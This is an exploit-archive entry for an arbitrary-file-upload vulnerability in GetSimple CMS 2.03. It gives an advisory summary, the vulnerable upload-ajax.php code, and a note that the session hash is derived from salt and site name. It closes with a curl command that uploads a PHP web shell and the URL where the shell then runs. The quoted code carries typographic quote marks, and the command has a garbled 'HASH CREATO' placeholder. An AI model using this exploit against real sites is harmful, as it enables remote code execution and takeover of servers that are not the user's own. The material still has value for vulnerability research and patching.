29 lines
1.2 KiB
Text
Executable file
29 lines
1.2 KiB
Text
Executable file
source: http://www.securityfocus.com/bid/46427/info
|
||
|
||
GetSimple CMS is prone to an arbitrary-file-upload vulnerability because it fails to properly sanitize user-supplied input.
|
||
|
||
An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
|
||
|
||
GetSimple CMS 2.03 is vulnerable; other versions may also be affected.
|
||
|
||
Bug Code:
|
||
getsimple/admin/upload-ajax.php
|
||
|
||
if ($_REQUEST['sessionHash'] === $SESSIONHASH) {
|
||
if (!empty($_FILES))
|
||
{
|
||
$tempFile = $_FILES['Filedata']['tmp_name'];
|
||
$name = clean_img_name($_FILES['Filedata']['name']);
|
||
$targetPath = GSDATAUPLOADPATH;
|
||
$targetFile = str_replace(‘//’,'/’,$targetPath) . $name;
|
||
move_uploaded_file($tempFile, $targetFile);
|
||
----------------------------------------------------------------------
|
||
|
||
Generating SESSIONHASH: md5( $salt. $sitename)
|
||
[XPL]
|
||
|
||
curl -F “Filedata=@yourshell.txt;filename=shell.php”
|
||
http://getsimple_localhost/admin/upload-ajax.php\?sessionHash\=HASH CREATO
|
||
|
||
After, enjoy your Bacon-Shell here ...http://getsimple_localhost/
|
||
data/uploads/shell.php
|